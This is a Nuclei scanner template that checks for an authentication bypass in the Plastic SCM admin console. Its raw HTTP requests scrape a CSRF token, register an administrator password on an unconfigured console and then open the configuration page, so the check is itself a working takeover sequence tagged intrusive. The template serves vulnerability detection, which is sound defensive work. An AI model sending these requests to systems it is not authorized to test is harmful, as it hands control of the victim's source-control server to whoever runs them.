nuclei-templates/http/misconfiguration/unauthorized-plastic-scm.yaml

59 lines
1.6 KiB
YAML
Raw Normal View History

id: unauthorized-plastic-scm
info:
name: Plastic Admin Console - Authentication Bypass
author: DEENA
severity: critical
description: A Plastic Admin console was discovered.
reference:
- https://infosecwriteups.com/story-of-google-hall-of-fame-and-private-program-bounty-worth-53559a95c468
classification:
cvss-metrics: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
2023-10-14 11:27:55 +00:00
cvss-score: 10
cwe-id: CWE-288
metadata:
max-request: 3
2023-10-14 11:27:55 +00:00
tags: plastic,misconfig,intrusive
http:
- raw:
- |
GET /account/register HTTP/1.1
{{Hostname}}
- |
POST /account/register HTTP/1.1
Host: {{Hostname}}
Origin: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Referer: {{BaseURL}}/account/register
Connection: close
Password={{randstr}}&ConfirmPassword={{randstr}}&RememberMe=true&__RequestVerificationToken={{csrf}}&RememberMe=false
- |
GET /configuration HTTP/1.1
{{Hostname}}
cookie-reuse: true
2023-10-14 11:27:55 +00:00
extractors:
- type: regex
part: body
internal: true
group: 1
name: csrf
regex:
- 'RequestVerificationToken" type="hidden" value="([A-Za-z0-9_-]+)" \/>'
matchers-condition: and
matchers:
- type: word
words:
- "<title>Network - Plastic SCM</title>"
part: body
- type: status
status:
- 200
# digest: 4b0a00483046022100b202a30b59ce7b1a10336a61886107ffc862e92f50db64f96527c7dfa93052c402210099d9deb50853731ff2373b4574ac2abf55ffd9dc104de3b0e6d4388a5be912d8:922c64590222798bb761d5b6d8e72950